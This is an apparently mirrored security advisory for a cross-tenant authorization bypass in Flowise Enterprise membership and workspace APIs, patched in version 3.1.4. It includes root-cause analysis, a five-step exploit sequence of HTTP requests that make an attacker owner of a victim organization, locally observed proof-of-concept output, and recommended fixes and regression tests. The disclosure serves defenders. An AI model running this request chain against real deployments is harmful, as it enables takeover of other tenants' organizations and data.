GHSA-PPRX-4PRJ-35MJ
Cross-tenant organization admin takeover via unscoped organization/workspace membership APIs
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.1.4 | flowise · -33 d desde divulgación | |
| Divulgación | Publicada | GHSA-PPRX-4PRJ-35MJ divulgada · CVSS 7.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Cross-tenant organization admin takeover via unscoped organization/workspace membership APIs
I am privately reporting a novel cross-tenant authorization bypass in Flowise Enterprise/Cloud multi-tenant routes. A user who has management permissions only in their own organization can supply another organization's IDs to membership/workspace APIs, add themselves as an owner of the victim organization, create a foothold workspace in that victim organization, switch into it, receive `isOrganizationAdmin: true`, and then add themselves to existing victim workspaces.
Please credit GitHub user `@huslayer826` as the finder/reporter if this is accepted. I am requesting CVE handling/credit under that reporter account.
Affected Versions
Confirmed affected:
- Repository: `FlowiseAI/Flowise`
- Tested commit: `b2550f7ffeb1e2720c036893e698e0f43e42f0be`
- `git describe`: `flowise-components@3.1.2-78-gb2550f7f`
- package version: `flowise` `3.1.2`
- Tested Node target: `.nvmrc` `v20.20.2`
- Package manager/dependency state: `pnpm-lock.yaml` frozen install, lockfile sha256 `1344857230836db0b33ca0923994c51a28aa801f225419374c2fad1df1e96f3d`
Exact lower bound was not established. Prior releases with the same enterprise organization/workspace route logic are likely affected.
Severity
Suggested CVSS v3.1:
`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = 9.9 critical
Reasoning:
- AV:N: remotely reachable HTTP API.
- AC:L: direct API calls with attacker-controlled IDs.
- PR:L: requires a valid authenticated user with management permissions in their own tenant, not in the victim tenant.
- UI:N: no victim interaction.
- S:C: crosses organization/tenant authorization boundary.
- C/I/A:H: attacker becomes organization admin in the victim organization and can access/administer victim workspaces and resources.
If Flowise treats source-tenant organization ownership as high privilege, a conservative alternate score is `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H` = 9.1.
CWE
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-862: Missing Authorization
- CWE-266: Incorrect Privilege Assignment
Root Cause
The enterprise membership APIs authorize only the caller's current permission bit, then trust attacker-supplied tenant object IDs:
- `packages/server/src/enterprise/routes/organization-user.route.ts`: `POST /api/v1/organizationuser` only checks `users:manage`.
- `packages/server/src/enterprise/controllers/organization-user.controller.ts`: `create()` passes raw `req.body`.
- `packages/server/src/enterprise/services/organization-user.service.ts`: `createOrganizationUser(data)` accepts body `organizationId`, `userId`, and `roleId`; `readRoleIsGeneral(data.roleId)` allows assigning the global `owner` role.
- `packages/server/src/enterprise/routes/workspace.route.ts`: `POST /api/v1/workspace` only checks `workspace:create`.
- `packages/server/src/enterprise/controllers/workspace.controller.ts`: `create()` passes raw `req.body`; `switchWorkspace()` sets `isOrganizationAdmin` from the workspace role.
- `packages/server/src/enterprise/services/workspace-user.service.ts`: `createWorkspace(data)` creates a workspace in the supplied `organizationId`, then assigns workspace ownership from the attacker's newly injected victim-org organization membership.
- `packages/server/src/enterprise/rbac/PermissionCheck.ts`: `checkPermission()` and `checkAnyPermission()` bypass later permission checks when `user.isOrganizationAdmin` is true.
Important source locations in the tested commit:
- `packages/server/src/enterprise/routes/organization-user.route.ts`, line 11
- `packages/server/src/enterprise/controllers/organization-user.controller.ts`, lines 23-30
- `packages/server/src/enterprise/services/organization-user.service.ts`, lines 212-240
- `packages/server/src/enterprise/routes/workspace.route.ts`, lines 11 and 14
- `packages/server/src/enterprise/controllers/workspace.controller.ts`, lines 21-25 and 70-150
- `packages/server/src/enterprise/services/workspace-user.service.ts`, lines 225-248 and 254-330
- `packages/server/src/enterprise/rbac/PermissionCheck.ts`, lines 5-20 and 24-40
Minimal Exploit Flow
Prerequisites:
- Attacker has a normal authenticated Flowise session in organization A.
- Attacker has `users:manage` and `workspace:create` in organization A.
- Attacker does not have any role or membership in victim organization B.
- Attacker knows/obtains victim `organizationId` and target `workspaceId` values.
Step 1: add the attacker as a global owner in victim organization B:
POST /api/v1/organizationuser
Content-Type: application/json
{
"organizationId": "<victimOrganizationId>",
"userId": "<attackerUserId>",
"roleId": "<globalOwnerRoleId>",
"createdBy": "<attackerUserId>"
}Step 2: create a foothold workspace in victim organization B:
POST /api/v1/workspace
Content-Type: application/json
{
"name": "Attacker Foothold Workspace",
"organizationId": "<victimOrganizationId>",
"userId": "<attackerUserId>",
"createdBy": "<attackerUserId>"
}Step 3: switch into the attacker-created victim-org workspace:
POST /api/v1/workspace/switch?id=<attackerFootholdWorkspaceId>The session is returned with `activeOrganizationId` set to the victim organization and `isOrganizationAdmin: true`.
Step 4: as victim org admin, list victim workspaces and add the attacker to an existing victim workspace:
GET /api/v1/workspace
POST /api/v1/workspaceuser
Content-Type: application/json
{
"workspaceId": "<existingVictimWorkspaceId>",
"userId": "<attackerUserId>",
"roleId": "<globalOwnerRoleId>",
"createdBy": "<attackerUserId>"
}Step 5: switch into the existing victim workspace and access/administer victim resources.
Local Validation
I validated this locally only, against a disposable Postgres database and a locally built Flowise server. No public targets were used.
Observed PoC output:
login attacker: HTTP 200
{
"isOrganizationAdmin": false,
"permissions": [
"users:manage",
"workspace:create"
]
}
pre-exploit victim credential read: HTTP 403
{
"message": "Forbidden"
}
inject attacker as victim org owner: HTTP 201
{
"organizationId": "0021c5a1-74f4-4c59-a50d-44c496786e6e"
}
create victim-org foothold workspace: HTTP 201
{
"id": "a018485f-2c12-479e-9f1f-c0c7986dbf6e"
}
switch to foothold workspace: HTTP 200
{
"activeOrganizationId": "0021c5a1-74f4-4c59-a50d-44c496786e6e",
"isOrganizationAdmin": true
}
list victim org workspaces: HTTP 200
[
"Victim Workspace",
"Attacker Foothold Workspace"
]
add attacker to victim workspace: HTTP 201
{
"workspaceId": "f80a8cbf-310a-4d39-9b06-1eefdb8ec940"
}
switch to victim workspace: HTTP 200
{
"activeWorkspaceId": "f80a8cbf-310a-4d39-9b06-1eefdb8ec940",
"isOrganizationAdmin": true
}
post-exploit victim credential read: HTTP 200
{
"id": "dff18135-cc2b-408f-b4ee-be9b43bbd8d6",
"workspaceId": "f80a8cbf-310a-4d39-9b06-1eefdb8ec940",
"plainDataObj": {
"clientId": "victim-client-id-visible-after-cross-tenant-escalation",
"clientSecret": "_FLOWISE_BLANK_07167752-1a71-43b1-bf8f-4f32252165db"
}
}
RESULT=VULNERABLEThe credential endpoint redacts secret fields by design. I am not claiming raw credential theft through that specific endpoint; the demonstrated impact is cross-tenant organization admin takeover and victim workspace access/control.
Novelty / Prior Art Checked
I searched GitHub Advisories, OSV, NVD, the GitHub Advisory Database, GitHub issues/PRs/security references, and broad web results for the exact route/function/sink names:
- `organizationuser`
- `workspaceuser`
- `createOrganizationUser`
- `createWorkspaceUser`
- `createWorkspace`
- `isOrganizationAdmin`
- `users:manage`
- `workspace:create`
- `organization-user.service.ts`
- `workspace-user.service.ts`
I did not find a public advisory for this route chain.
This is not CVE-2026-46480 / GHSA-wxrr-jp8m-qq7f. That advisory concerns Evaluator create/update mass assignment and workspace ID reassignment. This report does not use the Evaluator API and does not rely on that sink/root cause.
This is also distinct from GHSA-48m6-ch88-55mj / CVE-2026-41267. That advisory concerns unauthenticated account registration mass assignment. This exploit is post-authenticated, does not use `/api/v1/account/register`, and remains reachable through the enterprise membership/workspace APIs.
This is distinct from GHSA-wvhq-wp8g-c7vq / CVE-2026-30820. That advisory concerns spoofing `x-request-from` to bypass route protection. This report uses a valid authenticated session and normal route checks; the failure is cross-tenant object authorization in membership/workspace creation and the later `isOrganizationAdmin` derivation.
Recommended Fix
- Do not trust `organizationId`, `workspaceId`, `userId`, `roleId`, or `createdBy` from request bodies for membership mutations.
- `POST/PUT/DELETE /api/v1/organizationuser` should assert that the target organization is the caller's active organization and that the caller is authorized to manage users in that organization.
- Prevent non-owner/non-admin callers from assigning the global `owner` role.
- `POST /api/v1/workspace` should derive `organizationId`, `userId`, and `createdBy` from the authenticated session, not from the request body. Reject mismatched body tenant IDs.
- `POST/PUT/DELETE /api/v1/workspaceuser` should assert that the target workspace belongs to the active organization and that the caller can manage that specific workspace.
- `switchWorkspace()` should not derive organization-admin status solely from a workspace role. It should compute organization admin from the `OrganizationUser` role in the active organization.
Regression Tests
Suggested tests:
- User with `users:manage` in org A cannot create an `OrganizationUser` row for org B.
- User with `workspace:create` in org A cannot create a workspace in org B by supplying org B's `organizationId`.
- `switchWorkspace()` does not set `isOrganizationAdmin` based only on workspace owner role.
- Org/workspace admin in org A cannot add users to a workspace in org B.
- Existing registration mass-assignment sanitization remains covered so this fix does not regress GHSA-48m6-ch88-55mj.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmflowise |
Corregida | 3.1.4 | -33 d | 3.1.4 no afectada |
3.1.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pprx-4prj-35mjLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
